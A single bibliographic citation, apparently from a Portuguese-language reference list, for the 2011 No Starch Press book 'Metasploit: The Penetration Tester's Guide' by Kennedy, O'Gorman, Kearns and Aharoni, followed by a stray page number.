KENNEDY, David; O GORMAN, Jim; KEARNS, Devon; e AHARONI, Mati. Metasploit: The Penetration Tester s Guide. No Starch Press. San Francisco, CA. 2011. 15